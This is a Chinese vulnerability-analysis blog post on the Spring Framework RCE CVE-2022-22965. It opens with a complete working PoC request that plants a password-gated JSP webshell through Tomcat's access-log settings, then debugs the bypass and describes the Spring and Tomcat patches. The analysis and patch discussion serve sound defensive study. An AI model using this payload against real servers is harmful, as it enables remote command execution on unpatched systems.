问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Spring-Framework RCE(CVE-2022-22965)分析
漏洞分析
最近热议的spring core漏洞,简单看看
先上poc吧,虽然大家已经有了 ```php POST / HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 suffix: %> prefix: <% Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 803 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat ``` 这个是CVE-2010-1622的绕过,具体分析可以看[SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析](http://rui0.cn/archives/1158?vytuli=tc1oj2)。 <br /> 文章啰嗦一点,看得懂就行 <a name="DeMFU"></a> 0x00 环境搭建 ========= 我是远程调试的,直接debug一直有报错。 <br /> 首先修改tomcat配置,win环境在catalina.bat增加<br /> `agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"`<br /> idea直接打开tomcat所在目录,添加框架支持为maven,然后其中我又新建了一个文件夹为project,这个也添加支持maven,效果如下:<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f355130602cad32161773081053a9ff320263bdea157f.jpg)<br /> 然后spring里面写代码,生成war包,直接放到webapps里面即可,启动tomcat会自动部署(默认热部署,添加新的war过一会就自动部署好了),然后idea添加远程debug<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f907811718fde9ca6d84ee1614b92f769824b726ec642.jpg)<br /> 接着愉快调试吧 <a name="wK97r"></a> 0x01 前置知识 ========= <a name="XIc6y"></a> spring ioc ---------- 这个东西我一句两句也解释不清楚,看文章吧,当时在学校学的时候就懵懵的,控制反转说白了就是将pojo和bean交给spring来处理,我只需关心值的设置与取用,无需关心怎么设置与取出的<br /> [java对象 POJO和JavaBean的区别](https://www.jianshu.com/p/224489dfdec8),[Spring(2)——Spring IoC 详解](https://www.cnblogs.com/wmyskxz/p/8824597.html),[Spring IoC有什么好处呢?](https://www.zhihu.com/question/23277575) <a name="YcHmX"></a> 参数绑定 ---- pojo ```java package com.yq1ng.pojo; import java.util.Arrays; /** * @author ying * @Description * @create 2022-04-03 5:37 PM */ public class User { private String name; private int age; public String getName() { return name; } public int getAge() { return age; } public void setName(String name) { this.name = name; } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + '}'; } } ``` ```java @RequestMapping("/bind") @ResponseBody public String bindTest(User user){ return user.toString(); } ``` 访问[http://localhost:8081/spring-rce/bind?name=yq1ng&age=1](http://localhost:8081/spring-rce/bind?name=yq1ng&age=1&jobs%5B0%5D=1&jobs%5B1%5D=212)页面显示 <br /> `User{name='yq1ng', age=0}` <br /> 由于age没有set方法,所以没有值。通过参数绑定,可以很轻松的使用pojo类,不再像以前一样再去调用set,这些都由spring帮忙完成。 <br /> 参数绑定也支持层级调用,比如下面这样 ```java package com.yq1ng.pojo; /** * @author ying * @Description * @create 2022-04-08 14:28 */ public class UserInfo { private String name; private Secret secret; public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public Secret getSecret() { System.out.println("getSecret"); return secret; } public void setSecret(Secret secret) { System.out.println("setSecret"); this.secret = secret; } @Override public String toString() { return "UserInfo{" + "name='" + name + '\'' + ", secret=" + secret + '}'; } } ``` ```java package com.yq1ng.pojo; /** * @author ying * @Description * @create 2022-04-08 14:28 */ public class Secret { private String passwd; public String getPasswd() { System.out.println("getPasswd"); return passwd; } public void setPasswd(String passwd) { System.out.println("setPasswd"); this.passwd = passwd; } @Override public String toString() { return "Secret{" + "passwd='" + passwd + '\'' + '}'; } } ``` 访问[http://localhost:8081/spring-rce/bind1?name=yq1ng&secret.passwd=love](http://localhost:8081/spring-rce/bind1?name=yq1ng&secret.passwd=love) <br /> 会显示`UserInfo{name='yq1ng', secret=Secret{passwd='love'}}` <br /> 查看tomcat窗口可以发现他是通过getter、setter完成的 ```php UserInfo.getSecret() Secret.setPasswd() ``` 参数绑定支持GET和POST方法,一起用的话就会拼接到一起,且GET优先级较高<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f922588a682ef6d31cbd15266c9ba560e0f77036fe300.jpg) <a name="H9WfZ"></a> Java Introspector(内省) --------------------- 至于什么是内省(Introspector),看过Ruilin师傅的文章的应该了解一些了,没看的话可以看:[https://blog.51cto.com/u\_3631118/3119838](https://blog.51cto.com/u_3631118/3119838)。内省说白了就是去看beans的getter和setter,即使你没有这个属性内省也会认为你有,比如下面这样: ```java package com.yq1ng.pojo; /** * @author ying * @Description * @create 2022-04-08 15:42 */ public class Temp { private String a; private String b; public String getA() { return a; } public String getC() { return null; } } ``` ![image.png](https://shs3.b.qianxin.com/butian_public/f6194103dc9dfd2c28fb6734bb2cba58771f2822453b7.jpg) > PropertyDescriptor是Java自带的类,它可以获取Bean的所有信息 这里为什么有个class?明明类里没定义有关方法。为此debug一下<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f515350d42c0b59bc13bd26523f8dec59794ce0176e46.jpg)<br /> 方法注释说明写道内省Bean,并获取其所有属性、公开方法与事件,这个所有就厉害了,他还会获取Superclass,且是递归获取。来看代码<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f308549ad68c74f7a7de4d8af0552db3484085418e8fd.jpg)<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f258872abab18105aab20482ac4e13e0c3d86529afc7a.jpg)<br /> 在Java里所有的类都继承基类,所以每个Bean的Info里面都会有class属性 <a name="WlAQB"></a> BeanWrapperImpl --------------- BeanWrapper在spring中是一个比较重要接口,其实现类为org/springframework/beans/BeanWrapperImpl.java。通过这个类可以很轻松的调用beans的各种信息及设置其属性。这个类最终调用的还是上面提到的`PropertyDescriptor` <br /> 看一下BeanWrapperImpl定义与属性<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f750980d8c545b7ed137bfe076f4fb1a0a2e2cb384a55.jpg)<br /> 他的有参构造都会调用super,拿`BeanWrapperImpl(Object object)`来说,super会来到父类AbstractNestablePropertyAccessor的构造,跟踪构造会发现它会将传入的对象保存到`this.wrappedObject`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f703761f4672b63f56dbec812675a5531f77a00fc2b02.jpg)<br /> 其他的方法即是见名知意,简单以取值、设值来看使用方法<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f451987d1c3bcbc32dde164d0eab0eda060b7bec4f855.jpg)<br /> 非常方便,也可以见到spring的强大。 <a name="XQJgR"></a> tomcat日志写文件 ----------- 看一下这个:[Struts2 S2-020在Tomcat 8下的命令执行分析](https://cloud.tencent.com/developer/article/1035297),至于本次poc为什么会有%{xxx}的奇怪字符,是因为%是tomcat变量替换的标识符,具体可见官方文档:<https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html><br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f716603d376d2693f801c900737b0d24dd62a60f2076f.jpg)<br /> 还有只能发送一次poc的问题,只需修改`class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=任意数字`即可,路径问题默认写道tomcat目录,相对路径就行,`webapps/ROOT/`即可。 <a name="FibBH"></a> 0x02 漏洞调试 ========= 断点打到了`org/springframework/beans/AbstractPropertyAccessor.java#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f1133629787f021fa2405cf11615f3abc364fcffbaaa0.jpg)<br /> 跟进`setPropertyValue()`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f1163934b8a8045a03febc285e12bdec5f76932384f0e.jpg)<br /> 这里会对`propertyName`进行递归解析,进去看看<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f818733ed54c348b772a415647758a4593eeeda12578f.jpg)<br /> 注释说的很清楚,递归解析。首先跟进`getFirstNestedPropertySeparatorIndex()`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f275999c59a30c9ff8dce425eefd3bb3479ee19b108d8.jpg)<br /> 按`.`进行分割,第一次会返回`class`,返回后跟进`getNestedPropertyAccessor(nestedProperty)`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f89098024997f84a19e5e9975bbf8184e300e9946748d.jpg)<br /> 进入`getPropertyValue(tokens)`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f856513b3b2322b40ce15beb42cf9f15b8c06320459c5.jpg)<br /> 会先查找缓存有没有这个属性,跟进,一直f7到`org/springframework/beans/CachedIntrospectionResults.java#getPropertyDescriptor(String name)`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f69276039cde684221a0b675297d25f4532aad4608a09.jpg)<br /> 返回cache后,一直往下走就会看到`BeanWrapperImpl.java#getValue()`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f4692804b5d4057619bb20c2af389d8904e0ee9d16f4b.jpg)<br /> 反射设值,第一次迭代如下 ```php User.getClass() java.lang.Class.getmodule() //下一轮 ``` 接着继续按`.`分割,直接看反射处<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f62031464f9adb853bd57ef5307d33ca004bcac9ff79e.jpg)<br /> 所以第二次迭代就是 ```php User.getClass() java.lang.Class.getmodule() java.lang.Module.getclassLoader() //下一轮 ``` 后面都是一样的,总结一下就是 ```php User.getClass() java.lang.Class.getModule() java.lang.Module.getClassLoader() org.apache.catalina.loader.ParallelWebappClassLoader.getResources() org.apache.catalina.webresources.StandardRoot.getContext() org.apache.catalina.core.StandardContext.getParent() org.apache.catalina.core.StandardHost.getPipeline() org.apache.catalina.core.StandardPipeline.getFirst() org.apache.catalina.valves.AccessLogValve.setDirectory() ``` 这样就修改了tomcat的配置,达到写文件的目的,究其原理就是CVE-2010-1622的绕过,由于jdk9的新特性:module,模块化绕过了原本的,为什么可以绕过呢?上面调试我没说,比较简单,单独看一下就行,就是在获取缓存的时候会进行check,但是只是检测了`class.classloader`,这是因为jdk8里面没有module这个东西,也就不需要防御,而jdk的升级成为了此漏洞的利用点,使用`class.module.classloader`即可绕过 <br /> `org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults(Class<?> beanClass)`<br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f8353357d381025a3a88d2fd686033f92400a00fce7b1.jpg) <a name="bJCab"></a> 0x03 修复 ======= <a name="VFV55"></a> spring修复 -------- 3.31号对上述check进行了修补,连接:<https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15><br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f232924059f1fbb561d1a888100716f50420e6675fdc4.jpg)<br /> 只能获取name或者以Name结尾的PropertyDescriptor了 <a name="eTdiy"></a> tomcat修复 -------- 其实不是tomcat的锅,但是人家还是修了。在3.31号修复的,连接:<https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc><br /> ![image.png](https://shs3.b.qianxin.com/butian_public/f78201128a767d9d0ff9534699230ec43c158f4d2f8f8.jpg)<br /> `org.apache.catalina.loader.ParallelWebappClassLoader.getResources()`这个地方也算是寄了 <a name="eN9Bh"></a> 后记 == 这个洞说起来危害也就一般,没有传言中那么厉害。一是jdk9以上,这点限制就很大,现在都是jdk8 yyds;二是仅限于tomcat,很多情况都是spring-boot,这就没法利用。所以仁者见仁智者见智,及时关注新特性,下次说不定就摸到大鱼了哈哈
发表于 2022-04-13 09:52:06
阅读 ( 4804 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
会下雪的晴天
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!